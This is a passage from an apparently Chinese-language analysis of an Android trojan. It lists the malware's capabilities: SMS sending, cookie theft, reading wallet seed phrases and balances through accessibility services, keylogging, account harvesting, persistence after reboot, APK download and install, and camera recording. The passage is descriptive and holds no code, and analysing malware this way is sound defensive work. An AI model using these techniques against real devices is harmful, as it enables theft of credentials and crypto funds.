調用系統SmsManager 發送短信（如圖16所示）。 6. 獲取用戶cookie 信息並上傳，注入cookie 等 圖17 如圖17所示，讀取所有cookie，上傳到遠程服務器，並且通過CookieManager 把本地cookie 刪除。 7. 讀取和上傳數字錢包信息7.1 讀取餘額 圖18 通過輔助功能，讀取代表餘額的View 顯示的字符內容，就是用戶錢包的餘額（如圖18所示）。 7.2 讀取seed phrase 圖19 圖20 利用輔助功能，從表示seed phrase 的View 中讀取內容（如圖19、20所示）。 7.3 上傳到服務器 圖21 把加密錢包信息發生到遠程服務器。 8. 記錄並上傳鍵盤輸入記錄 圖22 圖23 上面兩張圖，圖22所示監聽鍵盤輸入，通過輔助功能抽取數據，圖23所示把這些數據上傳到遠程服務器。 9. 查詢敏感信息手機數據(查詢存儲郵件和應用賬號數據，IMSI 等手機信息) 圖24 通過AccountManager 獲取賬號信息，上傳到遠程服務器。 10. 把手機設置靜音 圖25 通過audio 系統服務器，把手機設置為靜音（如圖25所示）。 11. 監聽手機重啟事件 圖26 圖27 監聽手機重啟事件，手機重啟後惡意就開始工作。 12. 使用DownloadManager 下載APK 並且安裝 圖28 下載apk 並且使用安裝。 13. 拍照、錄視頻 圖29 圖30 14. 讀取其他文檔 圖31 圖32 15. 網絡請求代碼中所有的Log 都會上傳，上傳的服務器地址來自一段“加密”字符串（如圖33、34所示）。